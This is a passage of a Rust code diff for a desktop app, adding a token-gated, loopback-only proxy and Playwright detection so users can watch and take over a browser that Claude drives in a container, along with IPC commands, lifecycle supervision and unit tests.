// token-checking listener.
|
||||
let skip = skipped_ports(&project_with_mappings(vec![]));
|
||||
for port in RESERVED_CONTAINER_PORTS {
|
||||
assert!(skip.contains(&port), "port {} should be reserved", port);
|
||||
}
|
||||
assert!(!skip.contains(&(RESERVED_CONTAINER_PORTS.end() + 1)));
|
||||
|
||||
// Reservations coexist with Docker's own published ports.
|
||||
let skip = skipped_ports(&project_with_mappings(vec![(3000, 3000)]));
|
||||
assert!(skip.contains(RESERVED_CONTAINER_PORTS.start()));
|
||||
assert!(skip.contains(&3000));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -172,6 +172,24 @@ async fn accept_optional(
|
||||
|
||||
/// Carry one accepted host connection into the container over `socat`.
|
||||
async fn tunnel_connection(container_id: String, target: String, stream: TcpStream, port: u16) {
|
||||
tunnel_connection_with_prelude(container_id, target, stream, port, Vec::new()).await
|
||||
}
|
||||
|
||||
/// As [`tunnel_connection`], but `prelude` is written into the container first,
|
||||
/// ahead of anything further read from `stream`.
|
||||
///
|
||||
/// This exists for callers that must *inspect* the beginning of a connection
|
||||
/// before deciding to forward it — the browser-view proxy reads the HTTP request
|
||||
/// head off the socket to check a token, and then has to put those same bytes
|
||||
/// back on the wire. Passing them here keeps the byte stream exact, rather than
|
||||
/// re-serialising a parsed request.
|
||||
pub async fn tunnel_connection_with_prelude(
|
||||
container_id: String,
|
||||
target: String,
|
||||
stream: TcpStream,
|
||||
port: u16,
|
||||
prelude: Vec<u8>,
|
||||
) {
|
||||
let cmd = vec!["socat".to_string(), "-".to_string(), target.clone()];
|
||||
|
||||
let AttachedExec {
|
||||
@@ -198,6 +216,13 @@ async fn tunnel_connection(container_id: String, target: String, stream: TcpStre
|
||||
// direction drops `input`, which closes the exec's stdin and lets socat see
|
||||
// a clean EOF (a half-close, not a teardown of the whole connection).
|
||||
let upstream = AbortOnDrop(tokio::spawn(async move {
|
||||
// Bytes the caller already consumed from the socket go first, so the
|
||||
// container sees the connection exactly as the client sent it.
|
||||
if !prelude.is_empty()
|
||||
&& (input.write_all(&prelude).await.is_err() || input.flush().await.is_err())
|
||||
{
|
||||
return;
|
||||
}
|
||||
let mut buf = vec![0u8; PUMP_BUF];
|
||||
loop {
|
||||
match host_rx.read(&mut buf).await {
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
//! IPC surface for the browser view pane. The mechanism lives in
|
||||
//! [`crate::browser_view`]; this file only translates between it and the
|
||||
//! frontend.
|
||||
|
||||
use tauri::{AppHandle, State};
|
||||
|
||||
use crate::browser_view::{manager, BrowserViewStatus};
|
||||
use crate::AppState;
|
||||
|
||||
/// Turn the pane on or off for a project.
|
||||
///
|
||||
/// Enabling probes the container and brings the viewer up when it can; a
|
||||
/// container that isn't running, or one without Playwright, comes back as a
|
||||
/// non-`Running` status carrying an explanation rather than an error, so the
|
||||
/// pane always has something specific to say. This is host-side only — no
|
||||
/// container recreation is involved either way.
|
||||
#[tauri::command]
|
||||
pub async fn set_browser_view_enabled(
|
||||
project_id: String,
|
||||
enabled: bool,
|
||||
app_handle: AppHandle,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<BrowserViewStatus, String> {
|
||||
if !enabled {
|
||||
// Awaits the supervisor, so the host port is released before we return.
|
||||
manager().stop(&project_id).await;
|
||||
return Ok(manager().status(&project_id).await);
|
||||
}
|
||||
|
||||
let project = state
|
||||
.projects_store
|
||||
.get(&project_id)
|
||||
.ok_or_else(|| format!("Project {} not found", project_id))?;
|
||||
|
||||
let Some(container_id) = project.container_id.clone() else {
|
||||
return Err("Start the container before opening the browser view.".to_string());
|
||||
};
|
||||
if !crate::docker::container::is_container_running(&container_id)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
return Err("Start the container before opening the browser view.".to_string());
|
||||
}
|
||||
|
||||
manager()
|
||||
.start(
|
||||
project_id,
|
||||
container_id,
|
||||
app_handle,
|
||||
state.projects_store.clone(),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Current status. Cheap: reads in-process state only, never the container.
|
||||
#[tauri::command]
|
||||
pub async fn get_browser_view_status(project_id: String) -> Result<BrowserViewStatus, String> {
|
||||
Ok(manager().status(&project_id).await)
|
||||
}
|
||||
|
||||
/// Probe the container for Playwright without starting anything.
|
||||
///
|
||||
/// Lets the pane say "install this" before the user asks for a view, and lets
|
||||
/// them re-check after installing without toggling the feature.
|
||||
#[tauri::command]
|
||||
pub async fn check_browser_view_support(
|
||||
project_id: String,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<crate::browser_view::detect::PlaywrightDetection, String> {
|
||||
let project = state
|
||||
.projects_store
|
||||
.get(&project_id)
|
||||
.ok_or_else(|| format!("Project {} not found", project_id))?;
|
||||
let container_id = project
|
||||
.container_id
|
||||
.ok_or_else(|| "Start the container to check for Playwright.".to_string())?;
|
||||
crate::browser_view::detect::detect(&container_id).await
|
||||
}
|
||||
@@ -0,0 +1,263 @@
|
||||
//! Is there anything in this container worth watching, and can we serve a viewer
|
||||
//! for it?
|
||||
//!
|
||||
//! Playwright is **not** in the container image — it is installed by the user or
|
||||
//! by Claude, into whichever `node_modules` happens to be in scope. So detection
|
||||
//! has to be done inside the container, at the moment the pane is opened, and it
|
||||
//! has to produce an *actionable* answer when the pieces are missing: the pane's
|
||||
//! one unforgivable failure mode would be an unexplained spinner.
|
||||
//!
|
||||
//! Three things must line up:
|
||||
//!
|
||||
//! 1. **`playwright-core`** (directly, or via `playwright`, which re-exports it),
|
||||
//! 2. at a version whose `Browser` exposes **`bind()`** — the live-dashboard API
|
||||
//! that publishes a browser for a viewer to attach to, and
|
||||
//! 3. **`@playwright/cli`**, which ships the viewer UI itself.
|
||||
//!
|
||||
//! Discovery of published browsers is local-filesystem based (a cache directory
|
||||
//! plus a unix-socket singleton in the temp dir), which is exactly why the viewer
|
||||
//! has to run *in the container* next to the browsers rather than on the host.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
use crate::docker::exec::exec_oneshot;
|
||||
|
||||
/// Marks the JSON payload in the probe's stdout, so unrelated chatter on the
|
||||
/// same stream (npm notices, Node warnings) can't be mistaken for the result.
|
||||
const MARKER: &str = "__TRIPLE_C_BROWSER_VIEW__";
|
||||
|
||||
/// What the probe found. Serialised straight to the frontend so the pane can
|
||||
/// explain itself precisely rather than saying "not available".
|
||||
#[derive(Debug, Clone, Default, Serialize, Deserialize)]
|
||||
pub struct PlaywrightDetection {
|
||||
/// Node's own version, if `node` ran at all.
|
||||
#[serde(default)]
|
||||
pub node_version: Option<String>,
|
||||
/// Resolved `playwright-core` (or `playwright`) version.
|
||||
#[serde(default)]
|
||||
pub playwright_version: Option<String>,
|
||||
/// Absolute path of the resolved package manifest, for the diagnostics line.
|
||||
#[serde(default)]
|
||||
pub playwright_path: Option<String>,
|
||||
/// Whether the resolved build's type definitions declare `Browser.bind()`.
|
||||
#[serde(default)]
|
||||
pub has_bind: bool,
|
||||
/// Resolved `@playwright/cli` version — the package that serves the viewer.
|
||||
#[serde(default)]
|
||||
pub cli_version: Option<String>,
|
||||
/// Absolute path of `@playwright/cli`'s entry script. Invoked with `node`
|
||||
/// directly rather than through its bin shim, so the viewer's PID is the one
|
||||
/// we can signal.
|
||||
#[serde(default)]
|
||||
pub cli_entry: Option<String>,
|
||||
/// Where the probe looked, echoed back for the "not found" message.
|
||||
#[serde(default)]
|
||||
pub searched: Vec<String>,
|
||||
}
|
||||
|
||||
impl PlaywrightDetection {
|
||||
/// Everything needed to actually serve the pane.
|
||||
pub fn is_usable(&self) -> bool {
|
||||
self.playwright_version.is_some() && self.has_bind && self.cli_entry.is_some()
|
||||
}
|
||||
|
||||
/// A specific, actionable explanation of what is missing. `None` when the
|
||||
/// container is ready.
|
||||
pub fn blocker(&self) -> Option<String> {
|
||||
if self.node_version.is_none() {
|
||||
return Some(
|
||||
"Node.js isn't runnable in this container, so Playwright can't be detected."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
if self.playwright_version.is_none() {
|
||||
return Some(format!(
|
||||
"Playwright isn't installed in this container. Install it with \
|
||||
`npm i -D playwright` (or `npm i -g playwright`), then have Claude call \
|
||||
`await browser.bind('claude')` after launching a browser — or use \
|
||||
`@playwright/mcp`, which binds automatically. Looked in: {}.",
|
||||
if self.searched.is_empty() {
|
||||
"the container's default module paths".to_string()
|
||||
} else {
|
||||
self.searched.join(", ")
|
||||
}
|
||||
));
|
||||
}
|
||||
if !self.has_bind {
|
||||
return Some(format!(
|
||||
"Playwright {} is installed, but it predates the live-dashboard API \
|
||||
(`browser.bind()`). Upgrade with `npm i -D playwright@latest` and restart \
|
||||
the browser Claude is driving.",
|
||||
self.playwright_version.as_deref().unwrap_or("?")
|
||||
));
|
||||
}
|
||||
if self.cli_entry.is_none() {
|
||||
return Some(
|
||||
"Playwright is installed, but the viewer UI package isn't. Install it with \
|
||||
`npm i -D @playwright/cli`, then reopen this tab."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// One `node -e` probe, run as `claude` inside the container.
|
||||
///
|
||||
/// No shell quoting is involved: the script is a single `argv` element. The
|
||||
/// script finds the global `node_modules` root itself, so a Playwright installed
|
||||
/// with `npm i -g` is found as readily as one in `/workspace/node_modules`.
|
||||
pub async fn detect(container_id: &str) -> Result<PlaywrightDetection, String> {
|
||||
let output = exec_oneshot(
|
||||
container_id,
|
||||
vec!["node".to_string(), "-e".to_string(), PROBE.to_string()],
|
||||
)
|
||||
.await?;
|
||||
|
||||
parse_probe_output(&output)
|
||||
}
|
||||
|
||||
/// Pull the marked JSON object out of the probe's combined output.
|
||||
///
|
||||
/// `exec_oneshot` interleaves stdout and stderr, and Node happily writes
|
||||
/// deprecation warnings to the latter, so the payload is located by marker
|
||||
/// rather than by assuming it is the whole stream.
|
||||
pub(crate) fn parse_probe_output(output: &str) -> Result<PlaywrightDetection, String> {
|
||||
let start = output.find(MARKER).ok_or_else(|| {
|
||||
let trimmed = output.trim();
|
||||
if trimmed.is_empty() {
|
||||
"Playwright detection produced no output. Is Node.js present in the container?"
|
||||
.to_string()
|
||||
} else {
|
||||
format!(
|
||||
"Playwright detection failed: {}",
|
||||
trimmed.lines().next_back().unwrap_or(trimmed)
|
||||
)
|
||||
}
|
||||
})? + MARKER.len();
|
||||
|
||||
// The payload runs to the end of that line; anything the probe's own
|
||||
// children wrote afterwards is not ours.
|
||||
let json = output[start..].lines().next().unwrap_or("").trim();
|
||||
serde_json::from_str(json)
|
||||
.map_err(|e| format!("Could not read the Playwright detection result: {}", e))
|
||||
}
|
||||
|
||||
/// The probe. Kept as one string so the quoting story is "there isn't one".
|
||||
///
|
||||
/// Deliberately tolerant: every lookup is individually guarded, because a
|
||||
/// half-installed `node_modules` must produce a *partial* answer that
|
||||
/// [`PlaywrightDetection::blocker`] can turn into advice, not an exception that
|
||||
/// produces "detection failed".
|
||||
const PROBE: &str = concat!(
|
||||
r#"const fs=require("fs"),path=require("path"),cp=require("child_process");"#,
|
||||
r#"const out={node_version:process.versions.node,searched:[],has_bind:false};"#,
|
||||
// `npm root -g` is the only reliable way to learn the global prefix, and it
|
||||
// is cheap enough to pay for once per pane open.
|
||||
r#"let g=null;try{g=cp.execSync("npm root -g",{encoding:"utf8",stdio:["ignore","pipe","ignore"]}).trim()||null;}catch(e){}"#,
|
||||
r#"const roots=[...new Set(["/workspace",process.cwd(),process.env.HOME?path.join(process.env.HOME,"node_modules"):null,g].filter(Boolean))];"#,
|
||||
r#"out.searched=roots;"#,
|
||||
r#"const res=(s)=>{for(const r of roots){try{return require.resolve(s,{paths:[r]});}catch(e){}}return null;};"#,
|
||||
r#"const core=res("playwright-core/package.json")||res("playwright/package.json");"#,
|
||||
r#"if(core){try{out.playwright_path=core;out.playwright_version=JSON.parse(fs.readFileSync(core,"utf8")).version;}catch(e){}"#,
|
||||
// `bind`/`unbind` are checked against the shipped type definitions rather
|
||||
// than by loading the module: it is a static read, needs no browser, and
|
||||
// cannot be tripped up by a package that fails to import.
|
||||
r#"try{const t=fs.readFileSync(path.join(path.dirname(core),"types","types.d.ts"),"utf8");"#,
|
||||
r#"out.has_bind=/\bunbind\s*\(\s*\)/.test(t)&&/\bbind\s*\(/.test(t);}catch(e){}}"#,
|
||||
r#"const cli=res("@playwright/cli/package.json");"#,
|
||||
r#"if(cli){try{const j=JSON.parse(fs.readFileSync(cli,"utf8"));out.cli_version=j.version;"#,
|
||||
r#"const b=typeof j.bin==="string"?{[j.name]:j.bin}:(j.bin||{});const k=Object.keys(b)[0];"#,
|
||||
r#"if(k)out.cli_entry=path.resolve(path.dirname(cli),b[k]);}catch(e){}}"#,
|
||||
r#"process.stdout.write("\n__TRIPLE_C_BROWSER_VIEW__"+JSON.stringify(out)+"\n");"#,
|
||||
);
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn payload(json: &str) -> String {
|
||||
format!("some npm noise\n{}{}\n", MARKER, json)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_complete_install_is_usable() {
|
||||
let d = parse_probe_output(&payload(
|
||||
r#"{"node_version":"22.11.0","playwright_version":"1.62.1","has_bind":true,"cli_version":"0.1.18","cli_entry":"/workspace/node_modules/@playwright/cli/playwright-cli.js","searched":["/workspace"]}"#,
|
||||
))
|
||||
.unwrap();
|
||||
assert!(d.is_usable());
|
||||
assert_eq!(d.blocker(), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn stderr_noise_before_and_after_the_payload_is_ignored() {
|
||||
let out = format!(
|
||||
"(node:41) Warning: something\n{}{}\nnpm notice trailing\n",
|
||||
MARKER, r#"{"node_version":"22.11.0","has_bind":false}"#
|
||||
);
|
||||
let d = parse_probe_output(&out).unwrap();
|
||||
assert_eq!(d.node_version.as_deref(), Some("22.11.0"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_missing_playwright_is_reported_with_where_we_looked() {
|
||||
let d = parse_probe_output(&payload(
|
||||
r#"{"node_version":"22.11.0","searched":["/workspace","/usr/lib/node_modules"]}"#,
|
||||
))
|
||||
.unwrap();
|
||||
assert!(!d.is_usable());
|
||||
let msg = d.blocker().unwrap();
|
||||
assert!(msg.contains("npm i -D playwright"), "{}", msg);
|
||||
assert!(msg.contains("browser.bind"), "{}", msg);
|
||||
assert!(msg.contains("/usr/lib/node_modules"), "{}", msg);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_playwright_without_bind_asks_for_an_upgrade() {
|
||||
let d = parse_probe_output(&payload(
|
||||
r#"{"node_version":"22.11.0","playwright_version":"1.44.0","has_bind":false,"cli_entry":"/x/cli.js"}"#,
|
||||
))
|
||||
.unwrap();
|
||||
let msg = d.blocker().unwrap();
|
||||
assert!(msg.contains("1.44.0"), "{}", msg);
|
||||
assert!(msg.contains("playwright@latest"), "{}", msg);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_missing_viewer_package_is_reported_separately() {
|
||||
let d = parse_probe_output(&payload(
|
||||
r#"{"node_version":"22.11.0","playwright_version":"1.62.1","has_bind":true}"#,
|
||||
))
|
||||
.unwrap();
|
||||
assert!(!d.is_usable());
|
||||
assert!(d.blocker().unwrap().contains("@playwright/cli"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_container_without_node_says_so() {
|
||||
let d = parse_probe_output(&payload(r#"{"has_bind":false}"#)).unwrap();
|
||||
assert!(d.blocker().unwrap().contains("Node.js"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unmarked_stream_surfaces_the_containers_own_error() {
|
||||
let err = parse_probe_output("sh: 1: node: not found\n").unwrap_err();
|
||||
assert!(err.contains("node: not found"), "{}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_empty_stream_is_explained_rather_than_parsed() {
|
||||
let err = parse_probe_output(" \n").unwrap_err();
|
||||
assert!(err.contains("no output"), "{}", err);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_probe_is_a_single_argv_element_with_no_quoting_hazards() {
|
||||
// It is passed straight to `node -e`; a stray single quote would only
|
||||
// matter if someone later routed it through a shell, and a newline
|
||||
// would break the marker-line contract in `parse_probe_output`.
|
||||
assert!(!PROBE.contains('\n'));
|
||||
assert!(PROBE.contains(MARKER));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,839 @@
|
||||
//! Browser view — watch, and take over, the browser Claude is driving.
|
||||
//!
|
||||
//! ## What is actually being watched
|
||||
//!
|
||||
//! Playwright ships a live dashboard. A script inside the container calls
|
||||
//! `await browser.bind('claude')`, which publishes a descriptor for the running
|
||||
//! browser into `~/.cache/ms-playwright/b/`; `@playwright/mcp` does this for you.
|
||||
//! `playwright-cli show --host 127.0.0.1 --port <p>` then serves a React viewer
|
||||
//! that watches that directory, connects to the published browser, and gives you
|
||||
//! a CDP screencast with full mouse and keyboard takeover — all of which works
|
||||
//! with `headless: true`, which is the only thing that could work in a container.
|
||||
//!
|
||||
//! Discovery is *local filesystem*, so the viewer has to run in the same
|
||||
//! container as the browsers. There is nothing a host-side viewer could see.
|
||||
//!
|
||||
//! ## Getting it onto the screen safely
|
||||
//!
|
||||
//! ```text
|
||||
//! webview <iframe> host container
|
||||
//! ──────────────── ──── ─────────
|
||||
//! http://127.0.0.1:47820/index.html
|
||||
//! ?ws=…&token=… ────► BrowserViewProxy ──socat exec──► playwright-cli show
|
||||
//! (token gate) (Docker API) 127.0.0.1:39321
|
||||
//! ```
|
||||
//!
|
||||
//! The proxy is the *only* host-bound socket, and it authenticates before a byte
|
||||
//! reaches the container — see [`proxy`] for the gate, and for why the auth
|
||||
//! bridge's unauthenticated [`PortForward`](crate::auth_bridge::tunnel::PortForward)
|
||||
//! is deliberately not used to carry this port. The container-side viewer port is
|
||||
//! additionally *reserved* with
|
||||
//! [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`], so that a project which
|
||||
//! also has the auth bridge on cannot end up with the viewer mirrored onto the
|
||||
//! host a second time, ungated.
|
||||
//!
|
||||
//! ## Lifecycle
|
||||
//!
|
||||
//! Off by default and per-project opt-in, exactly like `auth_bridge_enabled`.
|
||||
//! One supervisor task per session owns the proxy and the viewer process, and it
|
||||
//! is the only thing that tears them down, so every way a session can end funnels
|
||||
//! through one code path:
|
||||
//!
|
||||
//! | Trigger | Path |
|
||||
//! |---|---|
|
||||
//! | Turned off in the UI | `set_browser_view_enabled(false)` → [`BrowserViewManager::stop`] |
|
||||
//! | Container stopped, by the UI or otherwise | supervisor's `is_container_running` check |
|
||||
//! | Project deleted | supervisor's `store.get()` check |
|
||||
//! | Container rebuilt | old container stops → supervisor exits; the new one is not auto-started |
|
||||
//! | Viewer died in the container | supervisor's periodic HTTP liveness probe |
|
||||
//! | App exit | [`BrowserViewManager::stop_all`] |
|
||||
//!
|
||||
//! [`BrowserViewManager::stop`] awaits the supervisor, so the host port is
|
||||
//! provably released before it returns.
|
||||
//!
|
||||
//! One honest gap, verified rather than assumed: `playwright-cli show` is only
|
||||
//! a launcher — the dashboard it starts reparents to PID 1 and survives the
|
||||
//! exec that spawned it. Every ordinary teardown path above calls
|
||||
//! [`kill_dashboard`], which does stop it, but a *hard* app crash leaves the
|
||||
//! dashboard running inside the container until the container stops. That
|
||||
//! orphan is reachable on container loopback only: the host-side port dies with
|
||||
//! the app, and [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`] is a constant
|
||||
//! precisely so the bridge will not mirror an orphan the next time the app
|
||||
//! starts. The next [`BrowserViewManager::start`] reclaims it.
|
||||
|
||||
pub mod commands;
|
||||
pub mod detect;
|
||||
pub mod proxy;
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::sync::{Arc, OnceLock};
|
||||
use std::time::Duration;
|
||||
|
||||
use serde::Serialize;
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::{watch, Mutex};
|
||||
use tokio::task::JoinHandle;
|
||||
|
||||
use crate::auth_bridge::proc_net::{self, PortFamily};
|
||||
use crate::docker::container::is_container_running;
|
||||
use crate::docker::exec::exec_oneshot;
|
||||
use crate::storage::projects_store::ProjectsStore;
|
||||
|
||||
use detect::PlaywrightDetection;
|
||||
use proxy::BrowserViewProxy;
|
||||
|
||||
/// Emitted whenever a project's browser view starts, stops or fails.
|
||||
/// Payload: `{ project_id, status: BrowserViewStatus }`.
|
||||
const BROWSER_VIEW_EVENT: &str = "browser-view-changed";
|
||||
|
||||
/// Container-side ports the viewer may bind, tried in order. The dashboard is a
|
||||
/// per-workspace singleton inside the container, so only one is ever in use at
|
||||
/// a time; the range exists only so an unrelated service already sitting on the
|
||||
/// first port doesn't take the feature down.
|
||||
///
|
||||
/// This *is* [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`] — the bridge must
|
||||
/// never mirror these, so the two cannot be allowed to drift.
|
||||
const VIEWER_PORTS: std::ops::RangeInclusive<u16> = crate::auth_bridge::RESERVED_CONTAINER_PORTS;
|
||||
|
||||
/// How often the supervisor re-checks that the session still has a reason to
|
||||
/// exist. Matches the auth bridge's cadence.
|
||||
const SUPERVISE_INTERVAL: Duration = Duration::from_secs(2);
|
||||
|
||||
/// Supervisor ticks between HTTP liveness probes of the viewer. The two cheap
|
||||
/// checks run every tick; this one costs a container exec, so it runs at 1/5
|
||||
/// the rate (~10s).
|
||||
const LIVENESS_EVERY: u32 = 5;
|
||||
|
||||
/// Ceiling on one readiness/liveness probe. Enforced inside the container by
|
||||
/// Node and again here, so neither a wedged daemon nor a wedged exec can stall
|
||||
/// the supervisor.
|
||||
const PROBE_TIMEOUT: Duration = Duration::from_secs(4);
|
||||
|
||||
/// How long to wait for `playwright-cli show` to start answering HTTP.
|
||||
const READY_TIMEOUT: Duration = Duration::from_secs(30);
|
||||
const READY_POLL: Duration = Duration::from_millis(400);
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// IPC response model
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum BrowserViewState {
|
||||
/// Not running. Either never started, or stopped.
|
||||
Off,
|
||||
/// Running and reachable at `url`.
|
||||
Running,
|
||||
/// The container can't serve this — see `message` for what to install.
|
||||
Unavailable,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct BrowserViewStatus {
|
||||
/// The per-project opt-in. Off by default.
|
||||
pub enabled: bool,
|
||||
pub state: BrowserViewState,
|
||||
/// Fully-formed, token-bearing URL for the pane's iframe. Loopback only.
|
||||
pub url: Option<String>,
|
||||
pub host_port: Option<u16>,
|
||||
pub container_port: Option<u16>,
|
||||
/// RFC 3339 timestamp of when the viewer came up.
|
||||
pub started_at: Option<String>,
|
||||
/// What was found in the container. Present even when unusable, because
|
||||
/// that is exactly when the user needs to see it.
|
||||
pub detection: Option<PlaywrightDetection>,
|
||||
/// Human-readable explanation, set whenever `state` isn't `Running`.
|
||||
pub message: Option<String>,
|
||||
}
|
||||
|
||||
impl BrowserViewStatus {
|
||||
fn off(enabled: bool) -> Self {
|
||||
Self {
|
||||
enabled,
|
||||
state: BrowserViewState::Off,
|
||||
url: None,
|
||||
host_port: None,
|
||||
container_port: None,
|
||||
started_at: None,
|
||||
detection: None,
|
||||
message: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn unavailable(enabled: bool, detection: PlaywrightDetection, message: String) -> Self {
|
||||
Self {
|
||||
enabled,
|
||||
state: BrowserViewState::Unavailable,
|
||||
detection: Some(detection),
|
||||
message: Some(message),
|
||||
..Self::off(enabled)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Manager
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Everything a live session exposes to `status()`. Fixed once the session is
|
||||
/// up, so it can be cloned out from under the map lock.
|
||||
#[derive(Debug, Clone)]
|
||||
struct SessionMeta {
|
||||
url: String,
|
||||
host_port: u16,
|
||||
container_port: u16,
|
||||
started_at: String,
|
||||
detection: PlaywrightDetection,
|
||||
}
|
||||
|
||||
struct Session {
|
||||
/// Distinguishes this supervisor from a later one for the same project, so
|
||||
/// a supervisor that exits late can't evict its replacement.
|
||||
epoch: u64,
|
||||
cancel: watch::Sender<bool>,
|
||||
meta: SessionMeta,
|
||||
supervisor: JoinHandle<()>,
|
||||
}
|
||||
|
||||
type SessionMap = Arc<Mutex<HashMap<String, Session>>>;
|
||||
|
||||
#[derive(Default)]
|
||||
pub struct BrowserViewManager {
|
||||
sessions: SessionMap,
|
||||
/// The per-project opt-in.
|
||||
///
|
||||
/// NOTE: in memory only, so it does not survive an app restart. The durable
|
||||
/// home for this is a `browser_view_enabled: bool` field on
|
||||
/// `models::Project` (see the report) — `models/project.rs` is out of scope
|
||||
/// for this change, so the flag lives here and the wiring is otherwise
|
||||
/// identical to `auth_bridge_enabled`.
|
||||
enabled: Mutex<std::collections::HashSet<String>>,
|
||||
next_epoch: AtomicU64,
|
||||
}
|
||||
|
||||
/// Process-wide handle.
|
||||
///
|
||||
/// Deliberately *not* a field on `AppState`: keeping it here means the feature
|
||||
/// needs no edit to `lib.rs` beyond declaring the module and registering the
|
||||
/// commands, and it lets teardown paths reach it without threading state.
|
||||
pub fn manager() -> &'static Arc<BrowserViewManager> {
|
||||
static MANAGER: OnceLock<Arc<BrowserViewManager>> = OnceLock::new();
|
||||
MANAGER.get_or_init(|| Arc::new(BrowserViewManager::default()))
|
||||
}
|
||||
|
||||
impl BrowserViewManager {
|
||||
pub async fn is_enabled(&self, project_id: &str) -> bool {
|
||||
self.enabled.lock().await.contains(project_id)
|
||||
}
|
||||
|
||||
async fn set_enabled(&self, project_id: &str, enabled: bool) {
|
||||
let mut set = self.enabled.lock().await;
|
||||
if enabled {
|
||||
set.insert(project_id.to_string());
|
||||
} else {
|
||||
set.remove(project_id);
|
||||
}
|
||||
}
|
||||
|
||||
/// Current status without touching the container.
|
||||
pub async fn status(&self, project_id: &str) -> BrowserViewStatus {
|
||||
let enabled = self.is_enabled(project_id).await;
|
||||
match self.sessions.lock().await.get(project_id) {
|
||||
Some(session) => BrowserViewStatus {
|
||||
enabled,
|
||||
state: BrowserViewState::Running,
|
||||
url: Some(session.meta.url.clone()),
|
||||
host_port: Some(session.meta.host_port),
|
||||
container_port: Some(session.meta.container_port),
|
||||
started_at: Some(session.meta.started_at.clone()),
|
||||
detection: Some(session.meta.detection.clone()),
|
||||
message: None,
|
||||
},
|
||||
None => BrowserViewStatus::off(enabled),
|
||||
}
|
||||
}
|
||||
|
||||
/// Probe the container and, if it can serve a viewer, bring one up.
|
||||
///
|
||||
/// Idempotent: a call while a live session exists returns that session's
|
||||
/// status untouched, so re-opening the tab does not restart the dashboard.
|
||||
pub async fn start(
|
||||
&self,
|
||||
project_id: String,
|
||||
container_id: String,
|
||||
app: AppHandle,
|
||||
store: Arc<ProjectsStore>,
|
||||
) -> Result<BrowserViewStatus, String> {
|
||||
self.set_enabled(&project_id, true).await;
|
||||
|
||||
// Bind the answer before acting on it: `status()` takes the same lock,
|
||||
// and this mutex is not reentrant.
|
||||
let already_live = self
|
||||
.sessions
|
||||
.lock()
|
||||
.await
|
||||
.get(&project_id)
|
||||
.is_some_and(|s| !s.supervisor.is_finished());
|
||||
if already_live {
|
||||
return Ok(self.status(&project_id).await);
|
||||
}
|
||||
|
||||
let detection = detect::detect(&container_id).await?;
|
||||
if !detection.is_usable() {
|
||||
let blocker = detection.blocker().unwrap_or_else(|| {
|
||||
"Playwright is present but incomplete in this container.".to_string()
|
||||
});
|
||||
let status = BrowserViewStatus::unavailable(true, detection, blocker);
|
||||
emit(&app, &project_id, &status);
|
||||
return Ok(status);
|
||||
}
|
||||
// `is_usable()` already established this, so the fallback is unreachable.
|
||||
let cli_entry = detection.cli_entry.clone().unwrap_or_default();
|
||||
|
||||
// The dashboard is a per-workspace singleton keyed on a unix socket in
|
||||
// the temp dir, not on a port. Verified: while one is running, a second
|
||||
// `show --port` prints "Dashboard is running pid=…", exits 0, and
|
||||
// *ignores the port you asked for*. So always reclaim first — including
|
||||
// a daemon this app orphaned in an earlier run, since it outlives us.
|
||||
// Doing this before choosing a port also frees the one a previous
|
||||
// session was using, so sessions don't walk up the range. Best-effort:
|
||||
// a container with no dashboard makes this a no-op.
|
||||
let _ = kill_dashboard(&container_id, &cli_entry).await;
|
||||
|
||||
let container_port = pick_viewer_port(&container_id).await?;
|
||||
launch_viewer(&container_id, &cli_entry, container_port).await?;
|
||||
|
||||
// Wait for it to actually answer, and learn the entry URL while we're
|
||||
// there — see `probe_entry_path` for why that matters. This, not the
|
||||
// launcher's stdout, is the readiness signal: verified that the
|
||||
// "Listening on …" line is printed only on the very first start.
|
||||
let entry_path = match wait_until_ready(&container_id, container_port).await {
|
||||
Ok(path) => path,
|
||||
Err(e) => {
|
||||
let log = read_viewer_log(&container_id).await;
|
||||
let _ = kill_dashboard(&container_id, &cli_entry).await;
|
||||
return Err(explain_start_failure(&e, &log));
|
||||
}
|
||||
};
|
||||
|
||||
let token = generate_token();
|
||||
// `--host 127.0.0.1` is ours to set, so the family is known and there is
|
||||
// no need to go back to /proc/net to work it out.
|
||||
let proxy = match BrowserViewProxy::bind(
|
||||
container_id.clone(),
|
||||
container_port,
|
||||
PortFamily::V4,
|
||||
token.clone(),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(p) => p,
|
||||
Err(e) => {
|
||||
let _ = kill_dashboard(&container_id, &cli_entry).await;
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
